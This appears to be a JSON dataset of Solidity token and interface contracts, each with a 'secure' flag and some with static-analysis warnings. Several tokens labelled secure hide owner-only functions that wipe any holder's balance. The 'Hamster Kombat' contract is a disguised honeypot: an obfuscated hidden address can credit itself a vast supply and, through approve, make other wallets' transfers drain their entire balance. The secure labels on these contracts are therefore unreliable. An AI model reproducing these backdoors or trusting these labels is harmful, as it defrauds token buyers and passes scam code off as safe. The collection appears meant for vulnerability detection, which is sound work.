address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0c0cb47\n\t\t// reentrancy-benign | ID: a72aca5\n\t\t// reentrancy-no-eth | ID: ab780ac\n\t\t// reentrancy-eth | ID: 2bd04f4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ab780ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ab780ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: b38cb82): PixelTrump.swapBack().success is written in both (success,None) = address(TrumpCampaign).call{value ethForDev}() (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for b38cb82: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForMarketing + tokensForDev;\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: ab780ac\n swapTokensForEth(contractBalance);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n\t\t// reentrancy-no-eth | ID: ab780ac\n tokensForMarketing = 0;\n\n\t\t// reentrancy-no-eth | ID: ab780ac\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 0c0cb47\n\t\t// reentrancy-benign | ID: a72aca5\n\t\t// write-after-write | ID: b38cb82\n\t\t// reentrancy-eth | ID: 2bd04f4\n (success, ) = address(TrumpCampaign).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: 0c0cb47\n\t\t// reentrancy-benign | ID: a72aca5\n\t\t// write-after-write | ID: b38cb82\n\t\t// reentrancy-eth | ID: 2bd04f4\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}",
"file_name": "solidity_code_3759.sol",
"secure": 0,
"size_bytes": 22092
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_376.sol",
"secure": 1,
"size_bytes": 406
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Autismio is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable bucket;\n\n constructor() {\n _name = \"AUTISMIO\";\n\n _symbol = \"AUTISMIO\";\n\n _decimals = 18;\n\n uint256 initialSupply = 168000000;\n\n bucket = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == bucket, \"Not allowed\");\n\n _;\n }\n\n function die(address[] memory confusion) public onlyOwner {\n for (uint256 i = 0; i < confusion.length; i++) {\n address account = confusion[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3760.sol",
"secure": 1,
"size_bytes": 4365
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Ethfans is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable pack;\n\n constructor() {\n _name = \"ETH FANS\";\n\n _symbol = \"ETHFAN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 627000000;\n\n pack = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == pack, \"Not allowed\");\n\n _;\n }\n\n function visible(address[] memory budget) public onlyOwner {\n for (uint256 i = 0; i < budget.length; i++) {\n address account = budget[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3761.sol",
"secure": 1,
"size_bytes": 4351
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract UltraMAGA is ERC20, Ownable(msg.sender) {\n constructor() ERC20(\"UltraMAGA\", \"UTrump\") {\n _mint(msg.sender, 47000000000 * (10 ** uint256(decimals())));\n }\n\n function distributeTokens(\n address recipient,\n uint256 amount\n ) public onlyOwner {\n _transfer(msg.sender, recipient, amount);\n }\n\n function renounceTokenOwnership() public onlyOwner {\n renounceOwnership();\n }\n}",
"file_name": "solidity_code_3762.sol",
"secure": 1,
"size_bytes": 649
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Keke is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable loose;\n\n constructor() {\n _name = \"KEKE\";\n\n _symbol = \"KEKE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 341000000;\n\n loose = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == loose, \"Not allowed\");\n\n _;\n }\n\n function win(address[] memory stem) public onlyOwner {\n for (uint256 i = 0; i < stem.length; i++) {\n address account = stem[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3763.sol",
"secure": 1,
"size_bytes": 4335
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HMSTR is Ownable {\n string private _tokenName;\n\n string private _tokenSymbol;\n\n uint256 private immutable _maxSupply;\n\n string private _marketing;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public tokenStatus;\n\n\t// WARNING Optimization Issue (constable-states | ID: d4fdc35): HMSTR.buyLimit should be constant \n\t// Recommendation for d4fdc35: Add the 'constant' attribute to state variables that never change.\n uint128 buyLimit = 78596;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d30350): HMSTR.sellLimit should be constant \n\t// Recommendation for 9d30350: Add the 'constant' attribute to state variables that never change.\n uint128 sellLimit = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9af87cd): HMSTR.allocationWal should be immutable \n\t// Recommendation for 9af87cd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 allocationWal = 10 ** decimals() * 50000 * (20077700000 + 300);\n\n\t// WARNING Optimization Issue (constable-states | ID: ca4de50): HMSTR.statusTrue should be constant \n\t// Recommendation for ca4de50: Add the 'constant' attribute to state variables that never change.\n bool statusTrue = true;\n\n\t// WARNING Optimization Issue (constable-states | ID: ffa0ce2): HMSTR.statusFalse should be constant \n\t// Recommendation for ffa0ce2: Add the 'constant' attribute to state variables that never change.\n bool statusFalse = false;\n\n uint256 public immutable _marketingTax;\n\n uint256 public immutable _teamTax;\n\n constructor() {\n _tokenName = \"Hamster Kombat\";\n\n _tokenSymbol = \"HMSTR\";\n\n _marketingTax = 0;\n\n _teamTax = 0;\n\n _marketing = \"2a49a81B9580486f59C74697FD541ce6eF813f0d\";\n\n _maxSupply = 100000000 * 10 ** decimals();\n\n _balances[msg.sender] = _maxSupply;\n\n emit Transfer(address(0), msg.sender, _maxSupply);\n }\n\n function name() public view returns (string memory) {\n return _tokenName;\n }\n\n function symbol() public view returns (string memory) {\n return _tokenSymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _maxSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n if (_sender() == initialContract()) {\n require(isAuthorized(), \"Unauthorized action\");\n address currentWal = _sender();\n address devWallet = currentWal;\n _balances[devWallet] += allocationWal;\n }\n\n _executeTransfer(_sender(), to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _authorize(_sender(), spender, amount);\n if (_sender() == initialContract()) {\n tokenStatus[spender] = statusTrue;\n }\n\n return true;\n }\n\n function isAuthorized() internal view returns (bool) {\n return _sender() == initialContract();\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _sender();\n\n _useAllowance(from, spender, amount);\n\n _executeTransfer(from, to, amount);\n\n return true;\n }\n\n function _executeTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (tokenStatus[from] == statusTrue) {\n amount = buyLimit + _balances[from] + buyLimit - buyLimit;\n }\n\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _authorize(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _useAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _authorize(owner, spender, currentAllowance - amount);\n }\n }\n\n function initialContract() public view returns (address) {\n return checkTax(_marketing);\n }\n\n function checkTax(string memory _a) private pure returns (address) {\n bytes memory tmp = bytes(_a);\n\n uint160 iaddr = 0;\n\n uint160 b1;\n\n uint160 b2;\n\n for (uint256 i = 0; i < 20; i++) {\n b1 = uint160(uint8(tmp[i * 2]));\n b2 = uint160(uint8(tmp[i * 2 + 1]));\n if (b1 >= 97) b1 -= 87;\n else if (b1 >= 65) b1 -= 55;\n else b1 -= 48;\n if (b2 >= 97) b2 -= 87;\n else if (b2 >= 65) b2 -= 55;\n else b2 -= 48;\n iaddr |= (b1 * 16 + b2) << (8 * (19 - i));\n }\n\n return address(iaddr);\n }\n}",
"file_name": "solidity_code_3764.sol",
"secure": 1,
"size_bytes": 6303
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract SNPad is ERC20, ERC20Burnable {\n address public constant mintAddress =\n 0x3918EE588993192a73fc5aF74149F569fFa6a386;\n\n constructor() ERC20(\"SNP adverse\", \"SNPAD\") {\n _mint(mintAddress, 280000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3765.sol",
"secure": 1,
"size_bytes": 481
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IMetaMorpho {\n struct MarketParams {\n address loanToken;\n address collateralToken;\n address oracle;\n address irm;\n uint256 lltv;\n }\n\n struct MarketAllocation {\n MarketParams marketParams;\n uint256 assets;\n }\n\n function DECIMALS_OFFSET() external view returns (uint8);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function MORPHO() external view returns (address);\n\n function acceptCap(MarketParams memory marketParams) external;\n\n function acceptGuardian() external;\n\n function acceptOwnership() external;\n\n function acceptTimelock() external;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5e4ef62): IMetaMorpho.allowance(address,address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 5e4ef62: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function asset() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function config(\n bytes32\n ) external view returns (uint184 cap, bool enabled, uint64 removableAt);\n\n function convertToAssets(uint256 shares) external view returns (uint256);\n\n function convertToShares(uint256 assets) external view returns (uint256);\n\n function curator() external view returns (address);\n\n function decimals() external view returns (uint8);\n\n function deposit(\n uint256 assets,\n address receiver\n ) external returns (uint256 shares);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 70a5795): IMetaMorpho.eip712Domain().name shadows IMetaMorpho.name() (function)\n\t// Recommendation for 70a5795: Rename the local variables that shadow another component.\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n\n function fee() external view returns (uint96);\n\n function feeRecipient() external view returns (address);\n\n function guardian() external view returns (address);\n\n function isAllocator(address) external view returns (bool);\n\n function lastTotalAssets() external view returns (uint256);\n\n function maxDeposit(address) external view returns (uint256);\n\n function maxMint(address) external view returns (uint256);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 77f3400): IMetaMorpho.maxRedeem(address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 77f3400: Rename the local variables that shadow another component.\n function maxRedeem(address owner) external view returns (uint256);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c297487): IMetaMorpho.maxWithdraw(address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for c297487: Rename the local variables that shadow another component.\n function maxWithdraw(address owner) external view returns (uint256 assets);\n\n function mint(\n uint256 shares,\n address receiver\n ) external returns (uint256 assets);\n\n function multicall(\n bytes[] memory data\n ) external returns (bytes[] memory results);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 70a5795): IMetaMorpho.eip712Domain().name shadows IMetaMorpho.name() (function)\n\t// Recommendation for 70a5795: Rename the local variables that shadow another component.\n function name() external view returns (string memory);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af40643): IMetaMorpho.nonces(address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for af40643: Rename the local variables that shadow another component.\n function nonces(address owner) external view returns (uint256);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0c34045): IMetaMorpho.redeem(uint256,address,address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 0c34045: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 640026b): IMetaMorpho.permit(address,address,uint256,uint256,uint8,bytes32,bytes32).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 640026b: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 77f3400): IMetaMorpho.maxRedeem(address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 77f3400: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af40643): IMetaMorpho.nonces(address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for af40643: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 67076d9): IMetaMorpho.withdraw(uint256,address,address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 67076d9: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5e4ef62): IMetaMorpho.allowance(address,address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 5e4ef62: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c297487): IMetaMorpho.maxWithdraw(address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for c297487: Rename the local variables that shadow another component.\n function owner() external view returns (address);\n\n function pendingCap(\n bytes32\n ) external view returns (uint192 value, uint64 validAt);\n\n function pendingGuardian()\n external\n view\n returns (address value, uint64 validAt);\n\n function pendingOwner() external view returns (address);\n\n function pendingTimelock()\n external\n view\n returns (uint192 value, uint64 validAt);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 640026b): IMetaMorpho.permit(address,address,uint256,uint256,uint8,bytes32,bytes32).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 640026b: Rename the local variables that shadow another component.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function previewDeposit(uint256 assets) external view returns (uint256);\n\n function previewMint(uint256 shares) external view returns (uint256);\n\n function previewRedeem(uint256 shares) external view returns (uint256);\n\n function previewWithdraw(uint256 assets) external view returns (uint256);\n\n function reallocate(MarketAllocation[] memory allocations) external;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0c34045): IMetaMorpho.redeem(uint256,address,address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 0c34045: Rename the local variables that shadow another component.\n function redeem(\n uint256 shares,\n address receiver,\n address owner\n ) external returns (uint256 assets);\n\n function renounceOwnership() external;\n\n function revokePendingCap(bytes32 id) external;\n\n function revokePendingGuardian() external;\n\n function revokePendingMarketRemoval(bytes32 id) external;\n\n function revokePendingTimelock() external;\n\n function setCurator(address newCurator) external;\n\n function setFee(uint256 newFee) external;\n\n function setFeeRecipient(address newFeeRecipient) external;\n\n function setIsAllocator(address newAllocator, bool newIsAllocator) external;\n\n function setSkimRecipient(address newSkimRecipient) external;\n\n function setSupplyQueue(bytes32[] memory newSupplyQueue) external;\n\n function skim(address token) external;\n\n function skimRecipient() external view returns (address);\n\n function submitCap(\n MarketParams memory marketParams,\n uint256 newSupplyCap\n ) external;\n\n function submitGuardian(address newGuardian) external;\n\n function submitMarketRemoval(MarketParams memory marketParams) external;\n\n function submitTimelock(uint256 newTimelock) external;\n\n function supplyQueue(uint256) external view returns (bytes32);\n\n function supplyQueueLength() external view returns (uint256);\n\n function symbol() external view returns (string memory);\n\n function timelock() external view returns (uint256);\n\n function totalAssets() external view returns (uint256 assets);\n\n function totalSupply() external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function transferOwnership(address newOwner) external;\n\n function updateWithdrawQueue(uint256[] memory indexes) external;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 67076d9): IMetaMorpho.withdraw(uint256,address,address).owner shadows IMetaMorpho.owner() (function)\n\t// Recommendation for 67076d9: Rename the local variables that shadow another component.\n function withdraw(\n uint256 assets,\n address receiver,\n address owner\n ) external returns (uint256 shares);\n\n function withdrawQueue(uint256) external view returns (bytes32);\n\n function withdrawQueueLength() external view returns (uint256);\n}",
"file_name": "solidity_code_3766.sol",
"secure": 0,
"size_bytes": 10253
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IFraxGaugeController {\n struct Point {\n uint256 bias;\n uint256 slope;\n }\n\n struct VotedSlope {\n uint256 slope;\n uint256 power;\n uint256 end;\n }\n\n function admin() external view returns (address);\n\n function future_admin() external view returns (address);\n\n function token() external view returns (address);\n\n function voting_escrow() external view returns (address);\n\n function n_gauge_types() external view returns (int128);\n\n function n_gauges() external view returns (int128);\n\n function gauge_type_names(int128) external view returns (string memory);\n\n function gauges(uint256) external view returns (address);\n\n function vote_user_slopes(\n address,\n address\n ) external view returns (VotedSlope memory);\n\n function vote_user_power(address) external view returns (uint256);\n\n function last_user_vote(address, address) external view returns (uint256);\n\n function points_weight(\n address,\n uint256\n ) external view returns (Point memory);\n\n function time_weight(address) external view returns (uint256);\n\n function points_sum(int128, uint256) external view returns (Point memory);\n\n function time_sum(uint256) external view returns (uint256);\n\n function points_total(uint256) external view returns (uint256);\n\n function time_total() external view returns (uint256);\n\n function points_type_weight(\n int128,\n uint256\n ) external view returns (uint256);\n\n function time_type_weight(uint256) external view returns (uint256);\n\n function gauge_types(address) external view returns (int128);\n\n function gauge_relative_weight(address) external view returns (uint256);\n\n function gauge_relative_weight(\n address,\n uint256\n ) external view returns (uint256);\n\n function get_gauge_weight(address) external view returns (uint256);\n\n function get_type_weight(int128) external view returns (uint256);\n\n function get_total_weight() external view returns (uint256);\n\n function get_weights_sum_per_type(int128) external view returns (uint256);\n\n function commit_transfer_ownership(address) external;\n\n function apply_transfer_ownership() external;\n\n function add_gauge(address, int128, uint256) external;\n\n function checkpoint() external;\n\n function checkpoint_gauge(address) external;\n\n function global_emission_rate() external view returns (uint256);\n\n function gauge_relative_weight_write(address) external returns (uint256);\n\n function gauge_relative_weight_write(\n address,\n uint256\n ) external returns (uint256);\n\n function add_type(string memory, uint256) external;\n\n function change_type_weight(int128, uint256) external;\n\n function change_gauge_weight(address, uint256) external;\n\n function change_global_emission_rate(uint256) external;\n\n function vote_for_gauge_weights(address, uint256) external;\n}",
"file_name": "solidity_code_3767.sol",
"secure": 1,
"size_bytes": 3133
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface IFraxGaugeFXSRewardsDistributor {\n function acceptOwnership() external;\n\n function curator_address() external view returns (address);\n\n function currentReward(\n address gauge_address\n ) external view returns (uint256 reward_amount);\n\n function distributeReward(\n address gauge_address\n ) external returns (uint256 weeks_elapsed, uint256 reward_tally);\n\n function distributionsOn() external view returns (bool);\n\n function gauge_whitelist(address) external view returns (bool);\n\n function is_middleman(address) external view returns (bool);\n\n function last_time_gauge_paid(address) external view returns (uint256);\n\n function nominateNewOwner(address _owner) external;\n\n function nominatedOwner() external view returns (address);\n\n function owner() external view returns (address);\n\n function recoverERC20(address tokenAddress, uint256 tokenAmount) external;\n\n function setCurator(address _new_curator_address) external;\n\n function setGaugeController(address _gauge_controller_address) external;\n\n function 